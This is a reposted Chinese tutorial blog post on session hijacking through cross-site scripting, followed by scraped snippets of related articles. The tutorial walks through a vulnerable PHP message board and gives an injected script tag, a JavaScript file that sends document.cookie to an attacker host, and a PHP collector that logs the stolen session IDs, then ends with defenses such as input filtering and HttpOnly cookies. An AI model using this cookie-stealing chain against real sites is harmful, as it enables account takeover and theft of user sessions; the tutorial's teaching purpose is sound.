跨站脚本攻击XSS(二)——session劫持

转载自:http://www.cnblogs.com/dolphinX/p/3403027.html

跨站脚本攻击XSS中简单介绍了XSS的原理及一个利用XSS盗取存在cookie中用户名和密码的小例子,有些同学看了后会说这有什么大不了的,哪里有人会明文往cookie里存用户名和密码。今天我们就介绍一种危害更大的XSS——session劫持。

神马是session

想明白session劫持及其危害,首先要搞清楚什么是session,熟悉http的同学知道,http是无状态的,也就是客户端向服务器请求完成后,会断开连接,下次同一个客户端再次访问服务器的时候,服务器会把它当作一个陌生的请求,不会知道它曾经来过,这里有它的印记。

但是这样的交互是非常麻烦的,某个网站有很多theme,通过一套机制记在服务器中,用户访问的时候从数据库等地方读取配置,返回给客户端合适的themeHTML响应。因为http没有状态,下次用户再来的时候又读取一遍数据库配置,每个用户都要重复这个过程,是不是很麻烦。这时候我们希望有一个全局的变量存储空间,用来存放一些全站点都需要的并且不会变来变去(即使变也没什么)的数据,这就是Application变量。Application变量是站点的全局变量,只要服务器不宕机,任何用户在任何页面在授权的情况下都可以访问,进行读写操作。这样一些theme、timezone等信息就可以在用户第一次访问的时候存放在Application内,再次访问或者其它用户访问的时候可以直接去读取,方便了很多。

然而,有时候我们希望服务器为我们每个单独的web用户开辟一块儿私密空间,比如我们肯定不希望用户访问一个页面就输一次用户名、密码,当用户第一次登录成功后可以把登录信息存放在服务器,下次来了直接比对就可以。但是明显大家不希望自己的用户名和密码能够被所有的用户访问,所以服务器私密空间是需要的。

but,由于http的无状态性即使服务器上有了每个用户的私密空间,但下次用户访问的时候,服务器仍然不知道用户是张三、李四还是王二麻子。这可怎么办,聪明的同学肯定想到了,让客户端的请求告诉服务器我是王二麻子就行了。这样服务器和客户端就可以对话了,不至于说了后句就忘了前句。

问题在于客户端怎么告诉服务器我是谁。细心的同学会注意到cookie是http协议的一部分,会在http请求和http响应中出现,而客户端和服务器有记忆的会话正是靠cookie实现的。拿登录做例子,会话过程是这样的

登录

1. 客户端发送登录请求

2. 服务器接收请求,验证登录,成功后为此web用户开辟一个私密空间,存放登录信息

3. 服务器为这个私密空间编号,类似于PHPSESSID=rcmjnke6er5pnvf3qof0lclca7这样的一个键值对,不同的语言生成的键名和值的规则不同,但是都本着两个原则:第一,value必须唯一,毕竟一个站点可能同时有数百万甚至更多用户在访问,不能让两个用户的表示一样;第二:生成的value必须是不可推测的,否则别有用心用户就可以根据自己的表示信息推断出别人的,然后伪造别人登录信息访问站点(这正是session劫持)。

4. 服务器把这个键值对写入http响应中传给客户端

5. 客户端接收响应,关闭连接

登录成功,用户访问其他页面

1. 客户端发送登录请求(服务器写到cookie中的用户标识信息也被发送)

2. 服务器读取http请求中的cookie信息,根据标识信息查找对应私密空间,读取用户信息

3. 服务器生成特定响应,发送给客户端

4. 客户端接收响应,关闭连接

这个过程是不是很像是一个会话?这样第一次来了给个标签,下次凭此标签交流的机制就是session,当然session还包含其失效机制等。

session劫持

服务器生成的用以标识客户信息的cookie一般被称为sessionId,而通过一些手段获取其它用户sessionId的攻击就叫session劫持。

说的这么恐怖,那么被别人知道了我的sessionId后会有什么危险呢?通过上面交互过程可以看出来服务器是靠sessionId识别客户端是张三、李四还是王二麻子的,当其它用户获知了你的sessionId后,在其有效期内就可以凭此sessionId欺骗服务器,获取你的身份登录使用网站。

XSS劫持session

还是使用跨站脚本攻击XSS中留言板的XSS漏洞,添加一个登录成功的首页,包含留言板页面链接,管理员有其它权限,登录失败返回登录页。

home.php

<!DOCTYPE html>
<html>
    <head>
        <title>Home</title>
        <?php include(‘/components/headerinclude.php‘);?>
    </head>
    <body>
        <a href="list.php">Comments</a>
        <?php
            use \entity\authority as au;
            include ‘entity\user.php‘;
            if(isset($_POST[‘username‘])){
                $user=new au\User();
                $user->username=$_POST[‘username‘];
                $user->password=md5($_POST[‘password‘]);
                if($user->username==‘Byron‘){
                    $user->role=‘admin‘;
                }else{
                    $user->role=‘normal‘;
                }
                $_SESSION[‘user‘]=json_encode($user);
            }
            if(!isset($_SESSION[‘user‘])){
                echo ‘<script>‘;
                echo ‘window.location.href="index.php"‘;
                echo ‘</script>‘;
            }else{
                $me=json_decode($_SESSION[‘user‘]);
                echo ‘<br/>Hello ‘.$me->username.‘!<br/>‘;
                if($me->role==‘admin‘){
                    echo "Your are an Administrator, you can do anything.";
                }
            }
        ?>
    </body>
</html>

当我们以管理员身份登录后界面是这样的

当没有管理员权限的恶意用户登录并访问留言板的时候,利用XSS漏洞注入这样代码

看看坏蛋做了什么

<script type="text/javascript" src="http://test.com/hack.js"></script>这条语句利用script的src跨域请求坏蛋自己的脚本

http://test.com/hack.js

var c=document.cookie;
var script =document.createElement(‘script‘);
script.src=‘http://test.com/index.php?c=‘+c;
document.body.appendChild(script);

脚本中创建了一个script标签,利用jsonp连带这当前用户的cookie向‘http://test.com/index.php发送了http请求

http://test.com/index.php

<?php
    if(!empty($_GET[‘c‘])){
        $cookie=$_GET[‘c‘];

        try{
            $path=$_SERVER["DOCUMENT_ROOT"].‘/session.txt‘;
            $fp=fopen($path,‘a‘);
            flock($fp, LOCK_EX);
            fwrite($fp, "$cookie\r\n");
            flock($fp, LOCK_UN);
            fclose($fp);
        }catch(Exception $e){

        }
    }
?>

原来坏蛋通过XSS把sessionId记到了自己磁盘

如何伪造管理员登录

这样如果在坏蛋利用XSS注入劫持sessionId的脚本后管理员登录并访问留言板页面,坏蛋就会得到管理员的sessionId,在其有效期内坏蛋可以这么做

1. 利用自己帐号登录系统,等待管理员访问被攻击页面,获取其sessionId

比如我得到管理员sessionId PHPSESSID=93jqhkal21kn6lg68uubvd1s37

2. 通过客户端修改sessionId

自己登录界面

修改cookie

3. 刷新页面,骗过服务器,自己成了管理员

4. 不堪设想。。。

如何防范

这种session劫持主要靠XSS漏洞和客户端获取sessionId完成,一次防范分两步

1. 过滤用户输入,防止XSS漏洞

2. 设置sessionId的cookie为HttpOnly,使客户端无法获取

时间: 2024-12-29 23:52:01

跨站脚本攻击XSS(二)——session劫持的相关文章

XSS危害——session劫持

在跨站脚本攻击XSS中简单介绍了XSS的原理及一个利用XSS盗取存在cookie中用户名和密码的小例子,有些同学看了后会说这有什么大不了的,哪里有人会明文往cookie里存用户名和密码.今天我们就介绍一种危害更大的XSS--session劫持. 神马是session 想明白session劫持及其危害,首先要搞清楚什么是session,熟悉http的同学知道,http是无状态的,也就是客户端向服务器请求完成后,会断开连接,下次同一个客户端再次访问服务器的时候,服务器会把它当作一个陌生的请求,不会知

XSS危害——session劫持(转载)

在跨站脚本攻击XSS中简单介绍了XSS的原理及一个利用XSS盗取存在cookie中用户名和密码的小例子,有些同学看了后会说这有什么大不了的,哪里有人会明文往cookie里存用户名和密码.今天我们就介绍一种危害更大的XSS--session劫持. 神马是session 想明白session劫持及其危害,首先要搞清楚什么是session,熟悉http的同学知道,http是无状态的,也就是客户端向服务器请求完成后,会断开连接,下次同一个客户端再次访问服务器的时候,服务器会把它当作一个陌生的请求,不会知

[Web安全之实战] 跨站脚本攻击XSS

Writer:BYSocket(泥沙砖瓦浆木匠) 微博:BYSocket 豆瓣:BYSocket Reprint it anywhere u want. 文章Points:   1. 认识XSS 2. XSS攻击 3. XSS防御(重点) 一.认识XSS先 先说个故事吧,在上一篇,我还想说这个案例.其实什么叫攻击,很简单.获取攻击者想要的信息,就黑成功了.抓到一个Tomcat漏洞(这不是我说的,一个认识的人说的),上传一个JSP,里面模拟HttpClient,下载一个木马,运行.OK,搞定了.所

跨站脚本攻击(XSS)

一.跨站脚本攻击的原理 1.XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的. 2.跨站脚本攻击的危害:窃取cookie.放蠕虫.网站钓鱼 ... 3.跨站脚本攻击的分类主要有:存储型XSS.反射型XSS.DOM型XSS 4.XSS漏洞是Web应用程序中最常见的漏洞之一.如果您的站点没有预防XSS漏洞的固

跨站脚本攻击XSS

跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的. 一个简单的留言板 我们有个页面用于允许用户发表留言,然后在页面底部显示留言列表 <!DOCTYPE html> <html> <head> <?php include('/components/headerinclude.php');?>&

java防范跨站脚本攻击(XSS)

网络中心提示网站有数目众多的跨站脚本攻击(XSS)漏洞,经过查看代码,认为是JSP中绑定变量是未经处理直接写入的,而且整个项目中这样的做法太多,因为是多年前的,不好一个个更改,参照网上资料,通过加filter对数据参数进行处理. 1.在github上下载lucy-xss-servlet-filter:https://github.com/naver/lucy-xss-servlet-filter 2.打开项目lucy-xss-servlet-filter,将下载代码输出为jar包. 项目输出为j

跨站脚本攻击xss学习

0.认识跨站脚本 举一个跨站脚本的简单例子. 假设一个页面将用户输入的参数直接显示到页面之中.(比如有如下代码) 在实际的浏览器中,在param中提交的参数正常会展示到页面之中.比如输入下面的URL: 然后发现浏览器页面的提供会变成这样: 此时如果提交下面的URL: 会发现alert被执行了 1.跨站脚本分类 跨站脚本攻击分为3类,反射型.存储型和DOM Based XSS. 1.反射型xss.浏览器执行一个不可信的脚本,并获得服务器的响应.通常黑客需要引诱用户点击恶意链接来进行触发. 2.存储

网络安全-跨站脚本攻击XSS(Cross-Site Scripting)

一.XSS攻击简介 作为一种HTML注入攻击,XSS攻击的核心思想就是在HTML页面中注入恶意代码,而XSS采用的注入方式是非常巧妙的. 在XSS攻击中,一般有三个角色参与:攻击者.目标服务器.受害者的浏览器. 由于有的服务器并没有对用户的输入进行安全方面的验证,攻击者就可以很容易地通过正常的输入手段,夹带进一些恶意的HTML脚本代码.当受害者的浏览器访问目标服务器上被注入恶意脚本的页面后,由于它对目标服务器的信任,这段恶意脚本的执行不会受到什么阻碍.而此时,攻击者的目的就已经达到了. 下面我们

网络安全系列之二十三 XSS跨站脚本攻击1

跨站脚本攻击(Cross Site Scripting)指的是恶意攻击者往Web页面里插入恶意脚本代码,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的. 为了与层叠样式表(Cascading Style Sheets)的缩写CSS区分开,跨站脚本攻击通常简写为XSS. 为了更好地理解XSS攻击,我们需要搭建一个php环境,这里仍然推荐使用NPMserv,软件下载地址:http://down.51cto.com/data/1886128. 我们首先编写一个